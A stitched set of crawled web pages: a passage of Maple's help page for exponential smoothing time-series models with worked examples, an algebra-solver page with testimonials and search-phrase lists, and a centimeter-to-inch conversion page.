}\\left({\\mathrm{y1}}_{t}+{\\mathrm{\\ell }}_{t-1}+\\left(\\left\\{\\begin{array}{cc}{s}_{t-m}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ 0& \\mathrm{otherwise}\\end{array}\\right)\\right){\\mathrm{ϵ}}_{t}& \\mathrm{trend}\\in \\left\\{\\mathrm{additive},\\mathrm{additivedamped}\\right\\}\\\\ \\left\\{\\begin{array}{cc}{\\mathrm{y1}}_{t}+\\mathrm{\\beta }\\left({\\mathrm{y1}}_{t}+\\frac{{s}_{t-m}}{{\\mathrm{\\ell }}_{t-1}}\\right){\\mathrm{ϵ}}_{t}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ {\\mathrm{y1}}_{t}\\left(\\mathrm{\\beta }{\\mathrm{ϵ}}_{t}+1\\right)& \\mathrm{otherwise}\\end{array}& \\mathrm{trend}\\in \\left\\{\\mathrm{multiplicative},\\mathrm{multiplicativedamped}\\right\\}\\end{array}& \\mathrm{errors}=\\mathrm{multiplicative}\\end{array}$\n\n – For models with seasonal influence, we define ${s}_{t}$ as follows.\n\n${s}_{t}=\\left\\{\\begin{array}{cc}\\left\\{\\begin{array}{cc}\\mathrm{\\gamma }{\\mathrm{ϵ}}_{t}+{s}_{t-m}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ {s}_{t-m}+\\frac{\\mathrm{\\gamma }{\\mathrm{ϵ}}_{t}}{{\\mathrm{y2}}_{t}}& \\mathrm{seasonal}=\\mathrm{multiplicative}\\end{array}& \\mathrm{errors}=\\mathrm{additive}\\\\ \\left\\{\\begin{array}{cc}{s}_{t-m}+\\mathrm{\\gamma }\\left({\\mathrm{y2}}_{t}+{s}_{t-m}\\right){\\mathrm{ϵ}}_{t}& \\mathrm{seasonal}=\\mathrm{additive}\\\\ {s}_{t-m}\\left(\\mathrm{\\gamma }{\\mathrm{ϵ}}_{t}+1\\right)& \\mathrm{seasonal}=\\mathrm{multiplicative}\\end{array}& \\mathrm{errors}=\\mathrm{multiplicative}\\end{array}$",
null,
"Options\n\n The following options can be specified:\n • errors, trend, seasonal : string or name or set of strings or names\n Discussed in the section on model variants.\n • alpha, beta, gamma, phi : numeric\n Fixes the value of the given parameter, discussed in the section on model equations. This means that these parameters won't be subject to optimization when Optimize is called.\n • period : positive integer\n Sets the period $m$ of the season. If it is not specified explicitly, the period is taken from the time series supplied during the Optimize call. A value of 1 disables the use of model variants with seasonal influence. Exponential smoothing models are most effective when the period is at most 12; an error will be given for periods greater than 24.\n • l0, b0 : numeric\n Fixes the value of the given initial value, ${\\mathrm{\\ell }}_{0}$ or ${b}_{0}$, respectively; they are the initial values for ${\\mathrm{\\ell }}_{t}$ and ${b}_{t}$, discussed in the section on model equations. If not specified, the initial values are subject to optimization when Optimize is called.\n • s : list or Vector with numeric entries\n Initial values for the seasonal parameter $s$. There are $m$ values, one for each period. They correspond to the values ${s}_{1-m}$, ..., ${s}_{0}$, and they need to occur in that order in the list or Vector. If not specified, these values are subject to optimization when Optimize is called.\n • sigma : numeric\n The standard deviation of the normal random variable that supplies the errors, ${\\mathrm{\\epsilon }}_{t}$ in the section on model equations. If not specified explicitly, its value is taken from the errors in the time series supplied to Optimize.\n • damping : true or false\n If damping = false is included as an option, then models with damped trend will not be considered. The default is damping = true.\n • constraints : equal to usual, admissible, or both\n There are traditional constraints on the parameters $\\mathrm{\\alpha }$, $\\mathrm{\\beta }$, $\\mathrm{\\gamma }$, and $\\mathrm{\\phi }$ that allow for the model to be interpreted in the framework of exponential smoothing. These are called the \"usual\" constraints. There are also constraints (typically, but not always, less strict) that need to be satisfied for the model to be numerically stable, or \"admissible\". The constraints option selects which constraints are used: constraints = usual uses only the usual constraints, constraints = admissible uses only the constraints for an admissible model, and constraints = both (the default) uses both sets of constraints.\n • criterion : procedure\n By default, as explained in the section on typical usage, Maple uses Akaike's information criterion with the sample size correction, AICc, to select the best model. If you supply the criterion option, you can choose a different criterion. Typical choices would be AIC or BIC, but you can also supply a different procedure. This procedure will be passed three arguments: the model, the time series, and the argument loglikelihood = ll, where ll is the precomputed log likelihood. The procedure should return a number. Maple selects the model where the returned value is the lowest.",
null,
"Working with Model Parameters\n\n • The exponential smoothing model constructed by this command has parameters that can be examined and set using the GetParameter, GetParameters, and SetParameter commands. These correspond loosely to the named options above, but they are generally less flexible. The parameters are detailed below, with a description of what are legal values for the parameter. When using SetParameter, you need to make sure that the new value conforms with these restrictions.\n\n Parameters Legal values errors, trend, seasonal set of one- or two-letter strings (a suitable subset of $\\left\\{\"A\",\"Ad\",\"M\",\"Md\",\"N\"\\right\\}$) alpha, beta, gamma, phi, l0, b0, sigma algebraic constant period positive integer s Vector with rtable options given by datatype = float and storage = rectangular, and no indexing functions constraints string, in particular one of \"usual\", \"admissible\", or \"both\"\n\n • There is no damping parameter - that information is encoded in the errors, trend, and seasonal parameters. There is also no criterion parameter: that information is only used when a time series is included in the ExponentialSmoothingModel calling sequence.\n • If there is no seasonality, the value of period is $1$.",
null,
"Examples\n\n > $\\mathrm{with}\\left(\\mathrm{TimeSeriesAnalysis}\\right):$\n\nConsider the following time series. It represents international tourist visitor nights in Australia.\n\n > $\\mathrm{ts}≔\\mathrm{TimeSeries}\\left(⟨41.7,24.0,32.3,37.3,46.2,29.3,36.5,43.0,48.9,31.2,37.7,40.4,51.2,31.9,41.0,43.8,55.6,33.9,42.1,45.6,59.8,35.2,44.3,47.9⟩,\\mathrm{startdate}=\"2005\",\\mathrm{frequency}=\\mathrm{quarterly},\\mathrm{header}=\"Visitor nights\"\\right)$\n ${\\mathrm{ts}}{≔}\\left[\\begin{array}{c}{\\mathrm{Time series}}\\\\ {\\mathrm{Visitor nights}}\\\\ {\\mathrm{24 rows of data:}}\\\\ {\\mathrm{2005-Jan-01 - 2010-Oct-01}}\\end{array}\\right]$ (1)\n\nWe fit an exponential smoothing model to it.\n\n > $\\mathrm{esm}≔\\mathrm{ExponentialSmoothingModel}\\left(\\mathrm{ts}\\right)$\n ${\\mathrm{TimeSeriesAnalysis}}{:-}{\\mathrm{ExponentialSmoothingModel}}{}\\left({\\mathrm{errors}}{=}\\left\\{{\"M\"}\\right\\}{,}{\\mathrm{trend}}{=}\\left\\{{\"A\"}\\right\\}{,}{\\mathrm{seasonal}}{=}\\left\\{{\"M\"}\\right\\}{,}{\\mathrm{α}}{=}{0.4836790988889591}{,}{\\mathrm{β}}{=}{0.0003088251694408857}{,}{\\mathrm{γ}}{=}{0.00023143579040411943}{,}{\\mathrm{φ}}{=}{1.}{,}{\\mathrm{period}}{=}{4}{,}{\\mathrm{l0}}{=}{31.691916154639692}{,}{\\mathrm{b0}}{=}{0.6527296503176275}{,}{s}{=}\\left(\\left[\\begin{array}{c}1.2641437853861655\\\\ 0.7602113492955748\\\\ 0.946057915985054\\\\ 1.0295918919494698\\end{array}\\right]\\right){,}{\\mathrm{σ}}{=}{0.03343189749472918}{,}{\\mathrm{constraints}}{=}{\"both\"}\\right)$ (2)\n\nTo evaluate the fit of this model, view the one step forecasts.\n\n > $\\mathrm{onestepfcs}≔\\mathrm{OneStepForecasts}\\left(\\mathrm{esm},\\mathrm{ts}\\right)$\n ${\\mathrm{onestepfcs}}{≔}\\left[\\begin{array}{c}{\\mathrm{Time series}}\\\\ {\\mathrm{Visitor nights \\left(1 step forecasts\\right)}}\\\\ {\\mathrm{24 rows of data:}}\\\\ {\\mathrm{2005-Jan-01 - 2010-Oct-01}}\\end{array}\\right]$ (3)\n > $\\mathrm{TimeSeriesPlot}\\left(\\left[\\mathrm{onestepfcs},\\mathrm{color}=\"Spring Blue\",\\mathrm{thickness}=2\\right],\\left[\\mathrm{ts},\\mathrm{color}=\"Spring Rose\",\\mathrm{thickness}=4\\right]\\right)$",
null,
"Let's add 80% and 95% confidence intervals.\n\n > $\\mathrm{onestepconf}≔\\mathrm{OneStepForecasts}\\left(\\mathrm{esm},\\mathrm{ts},\\mathrm{output}=\\mathrm{percentiles}\\left(2.5,10,90,97.5\\right)\\right)$\n ${\\mathrm{onestepconf}}{≔}\\left[\\begin{array}{c}{\\mathrm{Time series}}\\\\ {\\mathrm{Visitor nights \\left(1 step forecast - 2 percentile\\right), ..., Visitor nights \\left(1 step forecast - 98 percentile\\right)}}\\\\ {\\mathrm{24 rows of data:}}\\\\ {\\mathrm{2005-Jan-01 - 2010-Oct-01}}\\end{array}\\right]$ (4)\n > $\\mathrm{TimeSeriesPlot}\\left(\\left[\\mathrm{onestepfcs},\\mathrm{color}=\"Spring Blue\",\\mathrm{thickness}=2\\right],\\left[\\mathrm{onestepconf},\\mathrm{color}=\"Spring YellowGreen\"..\"Spring BlueGreen\"\\right],\\left[\\mathrm{ts},\\mathrm{color}=\"Spring Rose\",\\mathrm{thickness}=4\\right]\\right)$",
null,
"The fit looks pretty good. Now let us add the forecasts.\n\n > $\\mathrm{fcs}≔\\mathrm{Forecast}\\left(\\mathrm{esm},\\mathrm{ts},8\\right)$\n ${\\mathrm{fcs}}{≔}\\left[\\begin{array}{c}{\\mathrm{Time series}}\\\\ {\\mathrm{Visitor nights \\left(forecast\\right)}}\\\\ {\\mathrm{8 rows of data:}}\\\\ {\\mathrm{2010-Dec-31 - 2012-Sep-30}}\\end{array}\\right]$ (5)\n > $\\mathrm{conf}≔\\mathrm{Forecast}\\left(\\mathrm{esm},\\mathrm{ts},8,\\mathrm{output}=\\mathrm{percentiles}\\left(2.5,10,90,97.5\\right)\\right)$\n ${\\mathrm{conf}}{≔}\\left[\\begin{array}{c}{\\mathrm{Time series}}\\\\ {\\mathrm{Visitor nights \\left(forecast - 2 percentile\\right), ..., Visitor nights \\left(forecast - 98 percentile\\right)}}\\\\ {\\mathrm{8 rows of data:}}\\\\ {\\mathrm{2010-Dec-31 - 2012-Sep-30}}\\end{array}\\right]$ (6)\n > $\\mathrm{TimeSeriesPlot}\\left(\\left[\\mathrm{onestepfcs},\\mathrm{color}=\"Spring Blue\",\\mathrm{thickness}=2\\right],\\left[\\mathrm{onestepconf},\\mathrm{color}=\"Spring YellowGreen\"..\"Spring BlueGreen\"\\right],\\left[\\mathrm{fcs},\\mathrm{color}=\"Spring Blue\",\\mathrm{thickness}=2,\\mathrm{legend}=\"\"\\right],\\left[\\mathrm{conf},\\mathrm{color}=\"Spring YellowGreen\"..\"Spring BlueGreen\",\\mathrm{legend}=\"\"\\right],\\left[\\mathrm{ts},\\mathrm{color}=\"Spring Rose\",\\mathrm{thickness}=4\\right]\\right)$",
null,
"Doing this by hand, we could go about this as follows. We see that the seasonal influence is very significant; a model that doesn't take that into account is not likely to do well. We will also relax the constraints to allow all admissible parameter values.\n\n > $\\mathrm{esm2}≔\\mathrm{ExponentialSmoothingModel}\\left(\\mathrm{seasonal}=\\left\\{A,M\\right\\},\\mathrm{constraints}=\\mathrm{admissible}\\right)$\n ${\\mathrm{TimeSeriesAnalysis}}{:-}{\\mathrm{ExponentialSmoothingModel}}{}\\left({\\mathrm{errors}}{=}\\left\\{{\"A\"}{,}{\"M\"}\\right\\}{,}{\\mathrm{trend}}{=}\\left\\{{\"A\"}{,}{\"Ad\"}{,}{\"M\"}{,}{\"Md\"}{,}{\"N\"}\\right\\}{,}{\\mathrm{seasonal}}{=}\\left\\{{\"A\"}{,}{\"M\"}\\right\\}{,}{\\mathrm{constraints}}{=}{\"admissible\"}\\right)$ (7)\n\nTransform to a collection of specialized models.\n\n > $\\mathrm{models}≔\\mathrm{Specialize}\\left(\\mathrm{esm2},\\mathrm{ts}\\right)$\n ${\\mathrm{models}}{≔}\\left[{\\mathrm{< an ETS\\left(A,A,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(A,Ad,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(A,N,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,A,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,A,M\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,Ad,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,Ad,M\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,M,M\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,Md,M\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,N,A\\right) model >}}{,}{\\mathrm{< an ETS\\left(M,N,M\\right) model >}}\\right]$ (8)\n\nFind initial points for optimization for all of these.\n\n > $\\mathrm{inits}≔\\mathrm{map}\\left(\\mathrm{Initialize},\\mathrm{models},\\mathrm{ts}\\right):$\n\nOptimize all of them.\n\n > $\\mathbf{for}\\phantom{\\rule[-0.0ex]{0.3em}{0.0ex}}i\\phantom{\\rule[-0.0ex]{0.3em}{0.0ex}}\\mathbf{to}\\phantom{\\rule[-0.0ex]{0.3em}{0.0ex}}\\mathrm{numelems}\\left(\\mathrm{models}\\right)\\phantom{\\rule[-0.0ex]{0.3em}{0.0ex}}\\mathbf{do}\\phantom{\\rule[-0.0ex]{0.0em}{0.0ex}}\\phantom{\\rule[-0.0ex]{2.0em}{0.0ex}}\\mathrm{Optimize}\\left(\\mathrm{models}\\left[i\\right],\\mathrm{ts},\\mathrm{inits}\\left[i\\right]\\right)\\phantom{\\rule[-0.0ex]{0.0em}{0.0ex}}\\mathbf{end}\\phantom{\\rule[-0.0ex]{0.3em}{0.0ex}}\\mathbf{do}:$\n\nEvaluate the Bayesian information criterion for each model.\n\n > $\\mathrm{map}\\left(\\mathrm{model}↦\\mathrm{print}\\left(\\mathrm{model},\\mathrm{BIC}\\left(\\mathrm{model},\\mathrm{ts}\\right)\\right),\\mathrm{models}\\right):$\n ${\\mathrm{< an ETS\\left(A,A,A\\right) model >}}{,}{126.7819508}$\n ${\\mathrm{< an ETS\\left(A,Ad,A\\right) model >}}{,}{126.9258852}$\n ${\\mathrm{< an ETS\\left(A,N,A\\right) model >}}{,}{129.9242821}$\n ${\\mathrm{< an ETS\\left(M,A,A\\right) model >}}{,}{141.6667862}$\n ${\\mathrm{< an ETS\\left(M,A,M\\right) model >}}{,}{109.4702551}$\n ${\\mathrm{< an ETS\\left(M,Ad,A\\right) model >}}{,}{135.7502647}$\n ${\\mathrm{< an ETS\\left(M,Ad,M\\right) model >}}{,}{109.9821406}$\n ${\\mathrm{< an ETS\\left(M,M,M\\right) model >}}{,}{111.2692148}$\n ${\\mathrm{< an ETS\\left(M,Md,M\\right) model >}}{,}{109.4060877}$\n ${\\mathrm{< an ETS\\left(M,N,A\\right) model >}}{,}{140.6230023}$\n ${\\mathrm{< an ETS\\left(M,N,M\\right) model >}}{,}{112.5756460}$ (9)\n\nCompare all models' fits.\n\n > $\\mathrm{colors}≔\\mathrm{ColorTools}:-\\mathrm{Gradient}\\left(\"Niagara Navy\"..\"Niagara Purple\",\\mathrm{number}=\\mathrm{numelems}\\left(\\mathrm{models}\\right)\\right)$\n $\\left[{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}{,}{\\mathbf{module}}\\left({}\\right)\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{...}\\phantom{\\rule[-0.0ex]{0.5em}{0.0ex}}{\\mathbf{end module}}\\right]$ (10)\n > $\\mathrm{TimeSeriesPlot}\\left(\\mathrm{seq}\\left(\\left[\\mathrm{OneStepForecasts}\\left(\\mathrm{models}\\left[i\\right],\\mathrm{ts}\\right),\\mathrm{color}=\\mathrm{ToPlotColor}\\left(\\mathrm{colors}\\left[i\\right]\\right),\\mathrm{legend}='\\mathrm{print_preprocess}'\\left(\\mathrm{models}\\left[i\\right]\\right)\\right],i=1..\\mathrm{numelems}\\left(\\mathrm{models}\\right)\\right),\\left[\\mathrm{ts},\\mathrm{color}=\"Niagara Green\",\\mathrm{thickness}=3\\right]\\right)$",
null,
"In the following example, let's assume we know beforehand that we want a model with additive errors, a trend that is either additive or additive damped, and additive or multiplicative seasonality. Additionally, we know that $\\mathrm{\\alpha }$ is equal to $\\frac{1}{10}$ and $\\mathrm{\\phi }$, if present in the model, is equal to $0.95$.\n\n > $\\mathrm{esm3}≔\\mathrm{ExponentialSmoothingModel}\\left(\\mathrm{ts},A,\\left\\{A,\\mathrm{Ad}\\right\\},\\left\\{A,M\\right\\},\\mathrm{\\alpha }=\\frac{1}{10},\\mathrm{\\phi }=0.95\\right)$\n ${\\mathrm{TimeSeriesAnalysis}}{:-}{\\mathrm{ExponentialSmoothingModel}}{}\\left({\\mathrm{errors}}{=}\\left\\{{\"A\"}\\right\\}{,}{\\mathrm{trend}}{=}\\left\\{{\"A\"}\\right\\}{,}{\\mathrm{seasonal}}{=}\\left\\{{\"A\"}\\right\\}{,}{\\mathrm{α}}{=}\\frac{{1}}{{10}}{,}{\\mathrm{β}}{=}{0.0002677837116860021}{,}{\\mathrm{γ}}{=}{0.0000013845721329026309}{,}{\\mathrm{φ}}{=}{1.}{,}{\\mathrm{period}}{=}{4}{,}{\\mathrm{l0}}{=}{33.474612777225495}{,}{\\mathrm{b0}}{=}{0.5867884759845841}{,}{s}{=}\\left(\\left[\\begin{array}{c}10.57209848493659\\\\ -9.738941833278929\\\\ -2.0474978677044824\\\\ 1.214341354558895\\end{array}\\right]\\right){,}{\\mathrm{σ}}{=}{1.546317538969885}{,}{\\mathrm{constraints}}{=}{\"both\"}\\right)$ (11)\n\nThe optimized model is in this case not a damped model. So $\\mathrm{\\phi }$ is not part of this model, and therefore its value is set to the default - $1$. The setting of $\\mathrm{\\alpha }$ we required is respected.\n\n > $\\mathrm{GetParameter}\\left(\\mathrm{esm3},\\left[\\mathrm{\\alpha },\\mathrm{\\phi }\\right]\\right)$\n $\\left[\\frac{{1}}{{10}}{,}{1.}\\right]$ (12)\n\nA plot of data and forecasts:\n\n > $\\mathrm{TimeSeriesPlot}\\left(\\left[\\mathrm{ts},\\mathrm{color}=\"Niagara Green\"\\right],\\mathrm{OneStepForecasts}\\left(\\mathrm{esm3},\\mathrm{ts}\\right),\\left[\\mathrm{Forecast}\\left(\\mathrm{esm3},\\mathrm{ts},8,\\mathrm{output}=\\mathrm{percentiles}\\left(2.5,10,50,90,97.5\\right)\\right)\\right]\\right)$",
null,
">",
null,
"References\n\n Hyndman, R.J. and Athanasopoulos, G. (2013) Forecasting: principles and practice. http://otexts.org/fpp/. Accessed on 2013-10-09.\n Hyndman, R.J., Koehler, A.B., Ord, J.K., and Snyder, R.D. (2008) Forecasting with Exponential Smoothing: The State Space Approach. Springer Series in Statistics. Springer-Verlag Berlin Heidelberg.",
null,
"Compatibility\n\n • The TimeSeriesAnalysis[ExponentialSmoothingModel] command was introduced in Maple 18."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7598031,"math_prob":0.9995797,"size":16359,"snap":"2021-31-2021-39","text_gpt3_token_len":4485,"char_repetition_ratio":0.14020178,"word_repetition_ratio":0.038588237,"special_character_ratio":0.24261874,"punctuation_ratio":0.19927645,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99902236,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,2,null,2,null,2,null,2,null,2,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-22T21:27:37Z\",\"WARC-Record-ID\":\"<urn:uuid:a4eeb72b-d190-4ad0-aeb0-07cc324bb150>\",\"Content-Length\":\"806726\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a308fc6c-7b90-4e43-8286-c21426878de5>\",\"WARC-Concurrent-To\":\"<urn:uuid:f46590e5-36bc-494f-9ecf-88d8dc3b2297>\",\"WARC-IP-Address\":\"199.71.183.28\",\"WARC-Target-URI\":\"https://fr.maplesoft.com/support/help/maplesim/view.aspx?path=TimeSeriesAnalysis%2FExponentialSmoothingModel\",\"WARC-Payload-Digest\":\"sha1:ZRFX5DZ27YJYJI5JW4SKF3426SNHOK4S\",\"WARC-Block-Digest\":\"sha1:F25SDLAPEUVDUEF4NGB7MEMYJ5UHKZ6J\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057388.12_warc_CC-MAIN-20210922193630-20210922223630-00607.warc.gz\"}"} |
https://algebrasolver.com/solve-my-algebra/lcf/prentice-hall-pre-algebra.html | [
"Try the Free Math Solver or Scroll down to Resources!\n\n Depdendent Variable\n\n Number of equations to solve: 23456789\n Equ. #1:\n Equ. #2:\n\n Equ. #3:\n\n Equ. #4:\n\n Equ. #5:\n\n Equ. #6:\n\n Equ. #7:\n\n Equ. #8:\n\n Equ. #9:\n\n Solve for:\n\n Dependent Variable\n\n Number of inequalities to solve: 23456789\n Ineq. #1:\n Ineq. #2:\n\n Ineq. #3:\n\n Ineq. #4:\n\n Ineq. #5:\n\n Ineq. #6:\n\n Ineq. #7:\n\n Ineq. #8:\n\n Ineq. #9:\n\n Solve for:\n\n Please use this form if you would like to have this math solver on your website, free of charge. Name: Email: Your Website: Msg:\n\n### Our users:\n\nI am a student at Texas State University. I bought your product Algebrator and I can honestly say it is the reason I am passing my math class!\nLakeysha Smith, OH\n\nIt is more intuitive. And it even 'took' my negative scientific annotations and showed me how to simplify! Thanks!!!\nBlaine Milham, MH\n\nThe price you pay for the Algebrator is worth every penny, For the first time in my life I am actually able to do my algebra homework by myself.\nCandice Rosenberger, VT\n\nMy teacher recommended Algebrator when I fell behind due to an illness. I caught back up with the class within just a couple of days, and now I use the software to check my answers.\nLayla Richards, TX\n\n### Students struggling with all kinds of algebra problems find out that our software is a life-saver. Here are the search phrases that today's searchers used to find our site. Can you find yours among them?\n\n#### Search phrases used on 2014-12-27:\n\n• how to write an expression in simplified radical form\n• cubic root denominators worksheets\n• online ti-83 calculator\n• creative publications\n• free answers for math homework from Mcdougal littell math course 3\n• algebric equation\n• free online Ti 84+\n• College Algebra formula chart\n• pre algebra problem collection book\n• Formula forgeometrys\n• Program to find the sum of n numbers in Java\n• decimal percent fraction equiv worksheets\n• implicit differentiation calculator online\n• pre-algebra practice book\n• real life graphs worksheets free\n• function machines and second grade and worksheets\n• imperfect square root\n• adding and subtracting fractions chart\n• \"unit conversion\" lesson prealgebra\n• algebraic equations 4th grade- sample questions\n• high school math trivias\n• Formula for Scale Factors\n• free math homework 1st grade\n• Algebra For Beginners\n• trig graph calculator online\n• tuesday week 13 language practice\n• online algebra math scientific calculator problem solver\n• pre algebra with pizzazz worksheets\n• Free Quadratic Linear Inequality worksheet\n• 8th grade printable worksheets and solutions\n• graphing calculator emulator free TI\n• rational expressionscalculator\n• free worksheets equations grade 6\n• Simplifying Rational Expressions Step by Step\n• ti-84 plus imulator\n• z transform for the ti-89\n• answers for algebra 1 book\n• factoring polynomials differentiated lesson\n• integers test + worksheet\n• step by step solution in intermediate algebra\n• how to solve nonlinear equations in maple\n• how to do third roots on calculator\n• how to solve radicals with roots\n• algebra graphs\n• least common multiple negative integers\n• square root pythagorean theorem calculator\n• ti 89 complex domain\n• Word Search Holt Algebra 1\n• writing a quadratic equation given the sum and roots worksheets\n• slope formula for quadratic equation\n• saxon algebra 1 help\n• learn algebra fast free easy\n• completing the square solver\n• cost accounting book questions\n• funny algebra word problems\n• adding and subtracting integers game\n• algebraic equations with fractional exponents\n• solving higher order equations by factoring\n• clepping college algebra\n• solved aptitude questions\n• online least common denominator finder\n• printable imaginary numbers worksheets\n• help solving equations with fractions 7th grade\n• direct and inverse varition worksheets"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.83242404,"math_prob":0.9129144,"size":3945,"snap":"2020-34-2020-40","text_gpt3_token_len":889,"char_repetition_ratio":0.14108095,"word_repetition_ratio":0.0,"special_character_ratio":0.20405577,"punctuation_ratio":0.037037037,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9977696,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-28T22:44:41Z\",\"WARC-Record-ID\":\"<urn:uuid:fc84523c-f7a0-4731-afbd-39276a8c4377>\",\"Content-Length\":\"84916\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7e44798e-b05c-4f1d-99b6-e467c89de996>\",\"WARC-Concurrent-To\":\"<urn:uuid:1c88897b-3536-4efe-ab22-abf47c0b72a2>\",\"WARC-IP-Address\":\"54.197.228.212\",\"WARC-Target-URI\":\"https://algebrasolver.com/solve-my-algebra/lcf/prentice-hall-pre-algebra.html\",\"WARC-Payload-Digest\":\"sha1:XXJ3BQIV3I7GXO6ESPSYS7VXAGA3FQCA\",\"WARC-Block-Digest\":\"sha1:XLRYSMXWNJMKXRAYCG4KCKORMONUEIPI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600401614309.85_warc_CC-MAIN-20200928202758-20200928232758-00205.warc.gz\"}"} |
https://cmtoinches.co/55.8-centimeters-into-in-55.8 | [
"# 55.8 centimeters into in\n\n55.8 centimeters is equal to how many inches?\n\n### All In One Unit Converter\n\nPlease, choose a physical quantity, two units, then type a value in any of the boxes above.\n\nTo use this calculator, simply type the value in any box at left or at right. It accepts fractional values.\n\nUsing this converter you can get answers to questions like:\n\n• How many inches is 55.8 centimeters.?\n• 55.8 centimeters is equal to how many inches?\n• How tall is 55.8 cm in feet and inches\n• What is the cm to in conversion factor?\n• What is the formula to convert from cm to in? among others.\n\n## Definition of centimeter\n\ncentimeter (cm) is a decimal fraction of the meter, The international standard unit of length, approximately equivalent to 39.37 inches.\n\n## Definition of inch\n\nAn inch is a unit of length or distance in a number of systems of measurement, including in the US Customary Units and British Imperial Units. One inch is defined as 1⁄12 of a foot and is therefore 1⁄36 of a yard. According to the modern definition, one inch is equal to 25.4 mm exactly.\n\n## Centimeter to inches formula and conversion factor\n\nTo calculate a centimeter value to the corresponding value in inch, just multiply the quantity in centimeter by 0.39370078740157 (the conversion factor).\n\n### Centimeter to inches formulae\n\nInches = Centimeters * 0.39370078740157\n\nThe factor 0.39370078740157 is the result from the division 1/2.54 (Inch definition). So, a better formula is\n\nInches = Centimeters / 2.54\n\n### Values around 55.8 centimeter(s)\n\nCentimetersInches\n55.1521.71260\n55.2521.75197\n55.3521.79134\n55.4521.83071\n55.5521.87008\n55.6521.90945\n55.7521.94882\n55.8521.98819\n55.9522.02756\n56.0522.06693\n56.1522.10630\n56.2522.14567\n56.3522.18504\n56.4522.22441\n56.5522.26378"
]
